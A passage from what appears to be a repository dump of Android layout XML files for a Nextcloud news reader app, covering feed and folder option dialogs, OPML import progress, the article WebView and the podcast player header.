android:layout_below=\"@+id/renamefeed_feedname_wrapper\"\n            android:layout_marginStart=\"0dp\"\n            android:layout_marginEnd=\"0dp\"\n            android:orientation=\"horizontal\">\n\n            <com.google.android.material.button.MaterialButton\n                android:id=\"@+id/button_rename_cancel\"\n                style=\"@style/Widget.Material3.Button.TextButton.Dialog\"\n                android:layout_width=\"0dp\"\n                android:layout_height=\"wrap_content\"\n                android:layout_marginStart=\"0dp\"\n                android:layout_weight=\"1\"\n                android:text=\"@android:string/cancel\" />\n\n            <com.google.android.material.button.MaterialButton\n                android:id=\"@+id/button_rename_confirm\"\n                style=\"@style/Widget.Material3.Button.TextButton.Dialog.Flush\"\n                android:layout_width=\"0dp\"\n                android:layout_height=\"wrap_content\"\n                android:layout_marginEnd=\"0dp\"\n                android:layout_weight=\"1\"\n                android:text=\"@string/feed_rename_button\" />\n\n        </LinearLayout>\n    </RelativeLayout>\n\n    <RelativeLayout\n        android:id=\"@+id/move_feed_dialog\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"wrap_content\"\n        android:layout_below=\"@id/horizontalDivider\"\n        android:visibility=\"gone\">\n\n        <ListView\n            android:id=\"@+id/folder_list\"\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"wrap_content\" />\n\n    </RelativeLayout>\n\n    <LinearLayout\n        android:id=\"@+id/notification_feed_dialog\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"wrap_content\"\n        android:layout_below=\"@id/horizontalDivider\"\n        android:orientation=\"vertical\"\n        android:visibility=\"gone\">\n\n        <com.google.android.material.radiobutton.MaterialRadioButton\n            android:id=\"@+id/notification_setting_none\"\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"wrap_content\"\n            android:text=\"@string/notification_feed_none\" />\n\n        <com.google.android.material.radiobutton.MaterialRadioButton\n            android:id=\"@+id/notification_setting_default\"\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"wrap_content\"\n            android:text=\"@string/notification_feed_default\" />\n\n        <com.google.android.material.radiobutton.MaterialRadioButton\n            android:id=\"@+id/notification_setting_unique\"\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"wrap_content\"\n            android:text=\"@string/notification_feed_unique\" />\n\n    </LinearLayout>\n\n    <LinearLayout\n        android:id=\"@+id/open_feed_dialog\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"wrap_content\"\n        android:layout_below=\"@id/horizontalDivider\"\n        android:orientation=\"vertical\"\n        android:visibility=\"gone\">\n\n        <com.google.android.material.radiobutton.MaterialRadioButton\n            android:id=\"@+id/open_in_use_general_setting\"\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"wrap_content\"\n            android:text=\"@string/action_feed_open_in_general_setting\" />\n\n        <com.google.android.material.radiobutton.MaterialRadioButton\n            android:id=\"@+id/open_in_detailed_view\"\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"wrap_content\"\n            android:text=\"@string/action_feed_open_in_detailed_view\" />\n\n        <com.google.android.material.radiobutton.MaterialRadioButton\n            android:id=\"@+id/open_in_browser_cct\"\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"wrap_content\"\n            android:text=\"@string/pref_display_browser_cct\" />\n\n        <com.google.android.material.radiobutton.MaterialRadioButton\n            android:id=\"@+id/open_in_browser_external\"\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"wrap_content\"\n            android:text=\"@string/pref_display_browser_external\" />\n    </LinearLayout>\n\n    <RelativeLayout\n        android:id=\"@+id/progressView\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"wrap_content\"\n        android:layout_below=\"@id/horizontalDivider\"\n        android:visibility=\"gone\">\n\n        <ProgressBar\n            android:id=\"@+id/alter_folderSource_progress\"\n            style=\"?android:attr/progressBarStyle\"\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"wrap_content\"\n            android:layout_gravity=\"center\"\n            android:layout_marginBottom=\"12dp\"\n            android:layout_marginTop=\"12dp\"/>\n    </RelativeLayout>\n\n</RelativeLayout>"
  },
  {
    "path": "News-Android-App/src/main/res/layout/fragment_dialog_folderoptions.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\n<RelativeLayout\n    xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    xmlns:tools=\"http://schemas.android.com/tools\"\n    android:layout_width=\"match_parent\"\n    android:layout_height=\"wrap_content\"\n    android:orientation=\"vertical\"\n    android:paddingBottom=\"6dp\"\n    android:paddingStart=\"@dimen/activity_horizontal_margin\"\n    android:paddingEnd=\"@dimen/activity_horizontal_margin\"\n    android:paddingTop=\"@dimen/activity_vertical_margin\">\n\n    <RelativeLayout\n        android:id=\"@+id/title_wrapper\"\n        android:layout_width=\"wrap_content\"\n        android:layout_height=\"wrap_content\"\n        android:paddingStart=\"?android:attr/listPreferredItemPaddingStart\"\n        android:paddingEnd=\"?android:attr/listPreferredItemPaddingEnd\"\n        android:layout_marginBottom=\"4dp\">\n\n        <ImageView\n            android:id=\"@+id/ic_menu_foldericon\"\n            android:layout_width=\"24dp\"\n            android:layout_height=\"24dp\"\n            android:layout_marginEnd=\"6dp\"\n            android:layout_gravity=\"center_vertical\"\n            android:src=\"@drawable/ic_baseline_folder_24\"/>\n\n        <TextView\n            android:id=\"@+id/tv_menu_title\"\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"wrap_content\"\n            android:layout_centerVertical=\"true\"\n            android:layout_toEndOf=\"@+id/ic_menu_foldericon\"\n            android:textSize=\"16sp\"\n            android:textStyle=\"bold\"\n            tools:text=\"NameOfFolder\" />\n\n    </RelativeLayout>\n\n    <View\n        android:id=\"@+id/horizontalDivider\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"1dp\"\n        android:layout_below=\"@+id/title_wrapper\"\n        android:layout_marginStart=\"0dp\"\n        android:layout_marginEnd=\"0dp\"\n        android:layout_marginTop=\"12dp\"\n        android:background=\"#c8ababab\"/>\n\n    <ListView\n        android:id=\"@+id/lv_menu_list\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"wrap_content\"\n        android:layout_below=\"@id/horizontalDivider\"\n        android:divider=\"@null\">\n\n    </ListView>\n\n    <RelativeLayout\n        android:id=\"@+id/remove_folder_dialog\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"wrap_content\"\n        android:layout_below=\"@id/horizontalDivider\"\n        android:visibility=\"gone\">\n\n        <TextView\n            android:id=\"@+id/tv_detail_text\"\n            android:layout_width=\"fill_parent\"\n            android:layout_height=\"wrap_content\"\n            android:layout_alignParentEnd=\"false\"\n            android:layout_alignParentStart=\"true\"\n            android:layout_marginBottom=\"13dp\"\n            android:layout_marginTop=\"13dp\"\n            android:paddingStart=\"6dp\"\n            android:paddingEnd=\"6dp\"\n            android:text=\"@string/confirm_folder_remove\"\n            android:textSize=\"18sp\" />\n\n        <LinearLayout\n            android:layout_width=\"fill_parent\"\n            android:layout_height=\"wrap_content\"\n            android:layout_alignParentStart=\"true\"\n            android:layout_below=\"@+id/tv_detail_text\"\n            android:layout_marginStart=\"0dp\"\n            android:layout_marginEnd=\"0dp\"\n            android:orientation=\"horizontal\">\n\n            <com.google.android.material.button.MaterialButton\n                android:id=\"@+id/button_remove_cancel\"\n                style=\"@style/Widget.Material3.Button.TextButton.Dialog\"\n                android:layout_width=\"0dp\"\n                android:layout_height=\"wrap_content\"\n                android:layout_marginStart=\"0dp\"\n                android:layout_weight=\"1\"\n                android:text=\"@android:string/cancel\" />\n\n            <com.google.android.material.button.MaterialButton\n                android:id=\"@+id/button_remove_confirm\"\n                style=\"@style/Widget.Material3.Button.TextButton.Dialog.Flush\"\n                android:layout_width=\"0dp\"\n                android:layout_height=\"wrap_content\"\n                android:layout_marginEnd=\"0dp\"\n                android:layout_weight=\"1\"\n                android:text=\"@string/folder_remove_button\" />\n        </LinearLayout>\n\n    </RelativeLayout>\n\n    <RelativeLayout\n        android:id=\"@+id/rename_folder_dialog\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"wrap_content\"\n        android:layout_below=\"@id/horizontalDivider\"\n        android:visibility=\"gone\">\n\n        <com.google.android.material.textfield.TextInputLayout\n            android:id=\"@+id/renamefolder_foldername_wrapper\"\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"wrap_content\">\n            <EditText\n                android:id=\"@+id/renamefolder_foldername\"\n                android:layout_width=\"fill_parent\"\n                android:layout_height=\"wrap_content\"\n                android:layout_alignParentEnd=\"false\"\n                android:layout_alignParentStart=\"true\"\n                android:layout_marginBottom=\"13dp\"\n                android:layout_marginTop=\"13dp\"\n                android:imeOptions=\"actionDone\"\n                android:inputType=\"textVisiblePassword\"\n                android:lines=\"1\"\n                android:paddingStart=\"6dp\"\n                android:paddingEnd=\"6dp\"\n                android:singleLine=\"true\"\n                android:textSize=\"18sp\" />\n        </com.google.android.material.textfield.TextInputLayout>\n\n        <LinearLayout\n            android:layout_width=\"fill_parent\"\n            android:layout_height=\"wrap_content\"\n            android:layout_alignParentStart=\"true\"\n            android:layout_below=\"@+id/renamefolder_foldername_wrapper\"\n            android:layout_marginStart=\"0dp\"\n            android:layout_marginEnd=\"0dp\"\n            android:orientation=\"horizontal\">\n\n            <com.google.android.material.button.MaterialButton\n                android:id=\"@+id/button_rename_cancel\"\n                style=\"@style/Widget.Material3.Button.TextButton.Dialog\"\n                android:layout_width=\"0dp\"\n                android:layout_height=\"wrap_content\"\n                android:layout_marginStart=\"0dp\"\n                android:layout_weight=\"1\"\n                android:text=\"@android:string/cancel\" />\n\n            <com.google.android.material.button.MaterialButton\n                android:id=\"@+id/button_rename_confirm\"\n                style=\"@style/Widget.Material3.Button.TextButton.Dialog.Flush\"\n                android:layout_width=\"0dp\"\n                android:layout_height=\"wrap_content\"\n                android:layout_marginEnd=\"0dp\"\n                android:layout_weight=\"1\"\n                android:text=\"@string/folder_rename_button\" />\n\n        </LinearLayout>\n    </RelativeLayout>\n\n    <RelativeLayout\n        android:id=\"@+id/progressView\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"wrap_content\"\n        android:layout_below=\"@id/horizontalDivider\"\n        android:visibility=\"gone\">\n\n        <ProgressBar\n            android:id=\"@+id/alter_folderSource_progress\"\n            style=\"?android:attr/progressBarStyle\"\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"wrap_content\"\n            android:layout_gravity=\"center\"\n            android:layout_marginBottom=\"12dp\"\n            android:layout_marginTop=\"12dp\"/>\n    </RelativeLayout>\n\n</RelativeLayout>"
  },
  {
    "path": "News-Android-App/src/main/res/layout/fragment_dialog_image.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\n<!--  -->\n<RelativeLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    xmlns:tools=\"http://schemas.android.com/tools\"\n    android:orientation=\"vertical\"\n    android:layout_width=\"match_parent\"\n    android:layout_height=\"wrap_content\"\n    android:paddingTop=\"@dimen/activity_vertical_margin\"\n    android:paddingBottom=\"6dp\"\n    android:paddingEnd=\"@dimen/activity_horizontal_margin\"\n    android:paddingStart=\"@dimen/activity_horizontal_margin\">\n\n    <RelativeLayout\n        android:layout_width=\"wrap_content\"\n        android:layout_height=\"wrap_content\"\n        android:paddingStart=\"0dp\"\n        android:layout_marginBottom=\"4dp\"\n        android:id=\"@+id/title_wrapper\">\n\n        <ImageView\n            android:layout_width=\"40dp\"\n            android:layout_height=\"40dp\"\n            android:id=\"@+id/ic_menu_gallery\"\n            android:contentDescription=\"@string/content_desc_none\"/>\n\n        <TextView\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"wrap_content\"\n            android:layout_marginStart=\"5dp\"\n            android:gravity=\"start\"\n            android:id=\"@+id/ic_menu_title\"\n            tools:text=\"Sample1\"\n            android:layout_centerVertical=\"true\"\n            android:textSize=\"16sp\"\n            android:textStyle=\"bold\"\n            android:textAlignment=\"viewStart\"\n            android:layout_toEndOf=\"@+id/ic_menu_gallery\"/>\n\n    </RelativeLayout>\n\n    <TextView\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"wrap_content\"\n        android:gravity=\"start\"\n        android:paddingStart=\"6dp\"\n        android:id=\"@+id/ic_menu_item_text\"\n        android:textAlignment=\"viewStart\"\n        tools:text=\"Sample1\"\n        android:textSize=\"14sp\"\n        android:layout_marginTop=\"2dp\"\n        android:layout_below=\"@+id/title_wrapper\"\n        android:textStyle=\"normal\"/>\n\n    <View\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"1dp\"\n        android:layout_marginTop=\"12dp\"\n        android:layout_marginStart=\"0dp\"\n        android:layout_marginEnd=\"0dp\"\n        android:background=\"#c8ababab\"\n        android:layout_below=\"@+id/ic_menu_item_text\"/>\n\n    <ListView\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"wrap_content\"\n        android:layout_marginTop=\"13dp\"\n        android:divider=\"@null\"\n        android:id=\"@+id/ic_menu_item_list\"\n        android:layout_below=\"@+id/ic_menu_item_text\"\n        tools:listitem=\"@layout/fragment_dialog_listviewitem\">\n    </ListView>\n\n</RelativeLayout>"
  },
  {
    "path": "News-Android-App/src/main/res/layout/fragment_dialog_listviewitem.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<!-- Copyright (C) 2006 The Android Open Source Project\n\n     Licensed under the Apache License, Version 2.0 (the \"License\");\n     you may not use this file except in compliance with the License.\n     You may obtain a copy of the License at\n  \n          http://www.apache.org/licenses/LICENSE-2.0\n  \n     Unless required by applicable law or agreed to in writing, software\n     distributed under the License is distributed on an \"AS IS\" BASIS,\n     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n     See the License for the specific language governing permissions and\n     limitations under the License.\n-->\n\n<TextView xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    xmlns:tools=\"http://schemas.android.com/tools\"\n    android:id=\"@android:id/text1\"\n    android:layout_width=\"match_parent\"\n    android:layout_height=\"wrap_content\"\n    android:textAppearance=\"?android:attr/textAppearanceListItemSmall\"\n    android:gravity=\"center_vertical|start\"\n    android:paddingStart=\"?android:attr/listPreferredItemPaddingStart\"\n    android:paddingEnd=\"?android:attr/listPreferredItemPaddingEnd\"\n    android:minHeight=\"?android:attr/listPreferredItemHeightSmall\"\n    android:textAlignment=\"viewStart\"\n    android:textStyle=\"normal\"\n    android:ellipsize=\"marquee\"\n    tools:text=\"One list item\"\n    />"
  },
  {
    "path": "News-Android-App/src/main/res/layout/fragment_dialog_opml_import.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\n<LinearLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    xmlns:tools=\"http://schemas.android.com/tools\"\n    android:layout_width=\"match_parent\"\n    android:layout_height=\"wrap_content\"\n    android:orientation=\"vertical\"\n    android:paddingStart=\"@dimen/activity_horizontal_margin\"\n    android:paddingTop=\"@dimen/activity_vertical_margin\"\n    android:paddingEnd=\"@dimen/activity_horizontal_margin\"\n    android:paddingBottom=\"@dimen/activity_vertical_margin\">\n\n    <RelativeLayout\n        android:id=\"@+id/title_wrapper\"\n        android:layout_width=\"wrap_content\"\n        android:layout_height=\"wrap_content\">\n\n        <TextView\n            android:id=\"@+id/tv_menu_title\"\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"wrap_content\"\n            android:layout_centerVertical=\"true\"\n            android:text=\"@string/parsing_opml\"\n            android:textSize=\"16sp\"\n            android:textStyle=\"bold\" />\n\n    </RelativeLayout>\n\n    <View\n        android:id=\"@+id/horizontalDivider\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"1dp\"\n        android:layout_marginStart=\"0dp\"\n        android:layout_marginTop=\"12dp\"\n        android:layout_marginEnd=\"0dp\"\n        android:background=\"#c8ababab\" />\n\n    <ScrollView\n        android:id=\"@+id/message_scrollview\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"0dp\"\n        android:layout_marginTop=\"12dp\"\n        android:layout_weight=\"1\">\n\n        <TextView\n            android:id=\"@+id/tv_message\"\n            android:layout_width=\"wrap_content\"\n            android:layout_height=\"match_parent\"\n            android:text=\"@string/please_wait\" />\n\n    </ScrollView>\n\n    <RelativeLayout\n        android:id=\"@+id/progressView\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"wrap_content\">\n\n        <ProgressBar\n            android:id=\"@+id/opmlImportProgress\"\n            style=\"?android:attr/progressBarStyleHorizontal\"\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"2dp\"\n            android:layout_gravity=\"center\"\n            android:layout_marginTop=\"12dp\"\n            android:layout_marginBottom=\"12dp\" />\n\n        <TextView\n            android:id=\"@+id/tv_percentage\"\n            android:layout_width=\"wrap_content\"\n            android:layout_height=\"wrap_content\"\n            android:layout_below=\"@id/opmlImportProgress\"\n            android:layout_alignParentLeft=\"true\"\n            tools:text=\"80%\" />\n\n        <TextView\n            android:id=\"@+id/tv_absolute_progress\"\n            android:layout_width=\"wrap_content\"\n            android:layout_height=\"wrap_content\"\n            android:layout_below=\"@id/opmlImportProgress\"\n            android:layout_alignParentRight=\"true\"\n            tools:text=\"80/100\" />\n\n    </RelativeLayout>\n\n    <androidx.appcompat.widget.AppCompatButton\n        android:id=\"@+id/ok_button\"\n        android:layout_width=\"wrap_content\"\n        android:layout_height=\"wrap_content\"\n        android:layout_gravity=\"right\"\n        android:layout_marginEnd=\"-8dp\"\n        android:layout_marginBottom=\"-8dp\"\n        android:background=\"@android:color/transparent\"\n        android:paddingLeft=\"30dp\"\n        android:text=\"@android:string/ok\" />\n\n</LinearLayout>"
  },
  {
    "path": "News-Android-App/src/main/res/layout/fragment_news_detail.xml",
    "content": "<RelativeLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    xmlns:app=\"http://schemas.android.com/apk/res-auto\"\n    xmlns:tools=\"http://schemas.android.com/tools\"\n    android:layout_width=\"match_parent\"\n    android:layout_height=\"match_parent\"\n    tools:context=\".NewsDetailFragment\" >\n\n    <WebView\n        android:id=\"@+id/webview\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"match_parent\"\n        android:layout_alignParentTop=\"true\"\n        android:hardwareAccelerated=\"true\"\n        android:layout_above=\"@id/tv_offline_version\"/>\n\n    <ProgressBar\n        android:id=\"@+id/progressbar_webview\"\n        style=\"?android:attr/progressBarStyleHorizontal\"\n        android:layout_width=\"fill_parent\"\n        android:layout_height=\"wrap_content\"\n        android:layout_alignParentStart=\"true\"\n        android:layout_alignParentTop=\"true\"\n        android:max=\"100\"\n        android:layout_marginTop=\"-7dp\" />\n\n    <ProgressBar\n        android:id=\"@+id/progressBarLoading\"\n        style=\"?android:attr/progressBarStyleLarge\"\n        android:layout_width=\"wrap_content\"\n        android:layout_height=\"wrap_content\"\n        android:layout_centerVertical=\"true\"\n        android:layout_centerHorizontal=\"true\" />\n\n    <TextView\n        android:id=\"@+id/tv_offline_version\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"25dp\"\n        android:layout_alignParentBottom=\"true\"\n        android:text=\"@string/tv_showing_cached_version\"\n        android:gravity=\"center\"\n        android:textColor=\"@android:color/black\"\n        android:background=\"?attr/colorError\"\n        android:visibility=\"gone\" />\n\n</RelativeLayout>"
  },
  {
    "path": "News-Android-App/src/main/res/layout/fragment_newsreader_detail.xml",
    "content": "<FrameLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    xmlns:app=\"http://schemas.android.com/apk/res-auto\"\n    xmlns:tools=\"http://schemas.android.com/tools\"\n    android:layout_width=\"match_parent\"\n    android:layout_height=\"match_parent\"\n    tools:showIn=\"@layout/activity_newsreader\">\n\n    <androidx.swiperefreshlayout.widget.SwipeRefreshLayout\n        android:id=\"@+id/swipeRefresh\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"match_parent\">\n\n        <androidx.recyclerview.widget.RecyclerView\n            android:id=\"@+id/list\"\n            style=\"?android:attr/textAppearanceLarge\"\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"match_parent\"\n            android:scrollbars=\"vertical\"\n            tools:listitem=\"@layout/subscription_detail_list_item_thumbnail\"/>\n        <!-- android:clipToPadding=\"false\" -->\n\n    </androidx.swiperefreshlayout.widget.SwipeRefreshLayout>\n\n    <include\n        android:id=\"@+id/tv_no_items_available\"\n        layout=\"@layout/empty_content_view\" />\n\n    <ProgressBar\n        android:id=\"@+id/pb_loading\"\n        style=\"?android:attr/progressBarStyleLarge\"\n        android:layout_width=\"60dp\"\n        android:layout_height=\"wrap_content\"\n        android:layout_gravity=\"center\"\n        android:indeterminate=\"true\" />\n\n\n    <RelativeLayout\n        android:layout_width=\"wrap_content\"\n        android:layout_height=\"wrap_content\"\n        android:layout_gravity=\"bottom|end\"\n        >\n\n        <com.google.android.material.floatingactionbutton.FloatingActionButton\n            android:id=\"@+id/fab_done_all\"\n            android:layout_width=\"wrap_content\"\n            android:layout_height=\"wrap_content\"\n            android:layout_alignParentBottom=\"true\"\n            android:layout_alignParentEnd=\"true\"\n            android:visibility=\"visible\"\n            android:translationX=\"-16dp\"\n            android:translationY=\"-16dp\"\n            app:fabSize=\"normal\"\n            app:srcCompat=\"@drawable/ic_done_all\"\n            />\n\n        <ImageView\n            android:id=\"@+id/target_done_all\"\n            android:layout_width=\"128dp\"\n            android:layout_height=\"128dp\"\n            android:translationX=\"18dp\"\n            android:translationY=\"-64dp\"\n            android:layout_above=\"@id/fab_done_all\"\n            android:layout_alignParentEnd=\"true\"\n            app:srcCompat=\"@drawable/fa_all_read_target\"\n            android:visibility=\"invisible\" />\n\n    </RelativeLayout>\n\n\n    <!-- android:textIsSelectable=\"true\" -->\n    <!-- android:padding=\"16dp\" -->\n\n</FrameLayout>\n"
  },
  {
    "path": "News-Android-App/src/main/res/layout/fragment_newsreader_list.xml",
    "content": "<RelativeLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    xmlns:app=\"http://schemas.android.com/apk/res-auto\"\n    android:layout_width=\"match_parent\"\n    android:layout_height=\"match_parent\"\n    android:background=\"?attr/colorSurface\">\n\n    <!-- Wrap in Frame-Layout so that we can add Padding through the Edge-to-Edge callbacks -->\n    <FrameLayout\n        android:id=\"@+id/header_view\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"wrap_content\"\n        android:background=\"@color/nextcloudBlue\">\n\n        <!-- TODO: make header scroll up with listview -->\n        <androidx.constraintlayout.widget.ConstraintLayout\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"wrap_content\"\n            android:clickable=\"true\"\n            android:focusable=\"true\"\n            android:paddingHorizontal=\"10dp\"\n            android:paddingVertical=\"16dp\">\n\n            <TextView\n                android:id=\"@+id/appName\"\n                android:layout_width=\"wrap_content\"\n                android:layout_height=\"wrap_content\"\n                android:layout_marginStart=\"@dimen/spacer_2x\"\n                android:layout_toEndOf=\"@+id/header_logo\"\n                android:ellipsize=\"end\"\n                android:fontFamily=\"sans-serif-light\"\n                android:gravity=\"center_vertical\"\n                android:singleLine=\"true\"\n                android:text=\"@string/app_name\"\n                android:textAppearance=\"?android:attr/textAppearanceMedium\"\n                android:textColor=\"@android:color/white\"\n                android:textSize=\"24sp\"\n                app:layout_constraintBottom_toBottomOf=\"@id/header_logo\"\n                app:layout_constraintStart_toEndOf=\"@id/header_logo\"\n                app:layout_constraintTop_toTopOf=\"@id/header_logo\" />\n\n            <ImageView\n                android:id=\"@+id/header_logo\"\n                android:layout_width=\"56dp\"\n                android:layout_height=\"56dp\"\n                android:layout_marginStart=\"@dimen/spacer_1x\"\n                android:contentDescription=\"@string/content_desc_tap_to_refresh\"\n                android:scaleX=\"1.7\"\n                android:scaleY=\"1.7\"\n                app:layout_constraintBottom_toBottomOf=\"parent\"\n                app:layout_constraintStart_toStartOf=\"parent\"\n                app:layout_constraintTop_toTopOf=\"parent\"\n                app:srcCompat=\"@drawable/ic_launcher_foreground\" />\n\n            <ProgressBar\n                android:id=\"@+id/header_logo_progress\"\n                style=\"?android:attr/progressBarStyle\"\n                android:layout_width=\"38dp\"\n                android:layout_height=\"38dp\"\n                android:layout_gravity=\"center\"\n                android:indeterminate=\"true\"\n                android:indeterminateTint=\"@android:color/white\"\n                android:indeterminateTintMode=\"src_in\"\n                app:layout_constraintBottom_toBottomOf=\"@id/header_logo\"\n                app:layout_constraintEnd_toEndOf=\"@id/header_logo\"\n                app:layout_constraintStart_toStartOf=\"@id/header_logo\"\n                app:layout_constraintTop_toTopOf=\"@id/header_logo\" />\n\n        </androidx.constraintlayout.widget.ConstraintLayout>\n    </FrameLayout>\n\n    <de.luhmer.owncloudnewsreader.ListView.BlockingExpandableListView\n        android:id=\"@+id/expandableListView\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"match_parent\"\n        android:layout_below=\"@+id/header_view\"\n        android:divider=\"@null\" />\n\n</RelativeLayout>\n"
  },
  {
    "path": "News-Android-App/src/main/res/layout/fragment_newsreader_list_footer.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<LinearLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    xmlns:app=\"http://schemas.android.com/apk/res-auto\"\n    android:orientation=\"vertical\"\n    android:layout_width=\"match_parent\"\n    android:layout_height=\"wrap_content\">\n\n    <com.google.android.material.navigation.NavigationView\n        app:itemIconPadding=\"23dp\"\n        app:itemHorizontalPadding=\"13dp\"\n        android:id=\"@+id/listfooterMenu\"\n        android:background=\"@android:color/transparent\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"wrap_content\"\n        app:menu=\"@menu/list_footer_menu\" />\n</LinearLayout>"
  },
  {
    "path": "News-Android-App/src/main/res/layout/fragment_podcast.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\n<LinearLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    xmlns:tools=\"http://schemas.android.com/tools\"\n    xmlns:app=\"http://schemas.android.com/apk/res-auto\"\n    android:id=\"@+id/slideupframe\"\n    android:orientation=\"vertical\"\n    android:layout_width=\"match_parent\"\n    android:layout_height=\"match_parent\"\n    android:background=\"#fff\">\n\n\n    <!-- HEADER -->\n    <ViewSwitcher\n        android:id=\"@+id/viewSwitcherProgress\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"68dp\"\n        android:inAnimation=\"@android:anim/fade_in\"\n        android:outAnimation=\"@android:anim/fade_out\">\n\n\n        <!-- Default Header -->\n        <LinearLayout\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"match_parent\"\n            android:orientation=\"horizontal\"\n            android:background=\"?attr/colorSecondaryContainer\">\n\n            <ImageView\n                android:id=\"@+id/img_feed_favicon\"\n                android:layout_width=\"40dp\"\n                android:layout_height=\"40dp\"\n                android:layout_gravity=\"center\"\n                android:layout_marginStart=\"@dimen/podcast_horizontal_margin\"\n                android:layout_marginEnd=\"@dimen/podcast_horizontal_margin\"\n                android:src=\"@drawable/default_feed_icon_light\"\n                android:contentDescription=\"@string/content_desc_none\" />\n\n            <LinearLayout\n                android:id=\"@+id/ll_podcast_header\"\n                android:layout_width=\"0dip\"\n                android:layout_weight=\"1\"\n                android:layout_height=\"match_parent\"\n                android:layout_marginEnd=\"10dp\"\n                android:gravity=\"center_vertical\"\n                android:orientation=\"vertical\">\n\n                <TextView\n                    android:id=\"@+id/tv_title\"\n                    android:layout_width=\"wrap_content\"\n                    android:layout_height=\"wrap_content\"\n                    android:text=\"@string/no_podcast_selected\"\n                    android:ellipsize=\"end\"\n                    android:textSize=\"16sp\"\n                    android:textStyle=\"bold\"\n                    android:singleLine=\"true\"\n                    android:textColor=\"@color/primaryTextColor\" />\n\n                <!-- media playback ui should always use ltr direction -->\n                <ProgressBar\n                    style=\"?android:attr/progressBarStyleHorizontal\"\n                    android:id=\"@+id/pb_progress\"\n                    android:layout_width=\"match_parent\"\n                    android:layout_height=\"20dp\"\n                    android:progress=\"0\"\n                    android:max=\"100\"\n                    android:layoutDirection=\"ltr\" />\n\n                <LinearLayout\n                    android:layout_width=\"match_parent\"\n                    android:layout_height=\"wrap_content\"\n                    android:orientation=\"horizontal\"\n                    android:layoutDirection=\"ltr\">\n\n                    <TextView\n                        android:id=\"@+id/tv_from\"\n                        android:layout_width=\"0dp\"\n                        android:layout_weight=\"1\"\n                        android:layout_height=\"wrap_content\"\n                        tools:text=\"00:00\"\n                        android:textColor=\"@color/primaryTextColor\" />\n\n                    <TextView\n                        android:id=\"@+id/tv_to\"\n                        android:layout_width=\"wrap_content\"\n                        android:layout_height=\"wrap_content\"\n                        tools:text=\"00:00\"\n                        android:textColor=\"@color/primaryTextColor\" />\n                </LinearLayout>\n\n            </LinearLayout>\n\n            <FrameLayout\n                android:id=\"@+id/fl_playPausePodcastWrapper\"\n                android:layout_width=\"wrap_content\"\n                android:layout_height=\"match_parent\"\n                android:paddingEnd=\"@dimen/podcast_horizontal_margin\">\n\n                <ImageButton\n                    android:id=\"@+id/btn_playPausePodcast\"\n                    android:layout_width=\"48dp\"\n                    android:layout_height=\"48dp\"\n                    android:duplicateParentState=\"true\"\n                    android:clickable=\"false\"\n                    android:focusable=\"false\"\n                    android:layout_gravity=\"center_vertical\"\n                    app:srcCompat=\"@drawable/ic_baseline_play_arrow_24\"\n                    app:tint=\"?attr/colorOnSecondaryContainer\"\n                    android:background=\"?attr/selectableItemBackgroundBorderless\"\n                    android:scaleType=\"fitXY\"\n                    android:contentDescription=\"@string/content_desc_none\"/>\n\n            </FrameLayout>\n        </LinearLayout>\n\n\n        <!-- Expanded Header -->\n        <LinearLayout\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"match_parent\"\n            android:orientation=\"vertical\"\n            android:background=\"?attr/colorSecondaryContainer\">\n\n            <TextView\n                android:id=\"@+id/tv_titleSlider\"\n                android:layout_width=\"match_parent\"\n                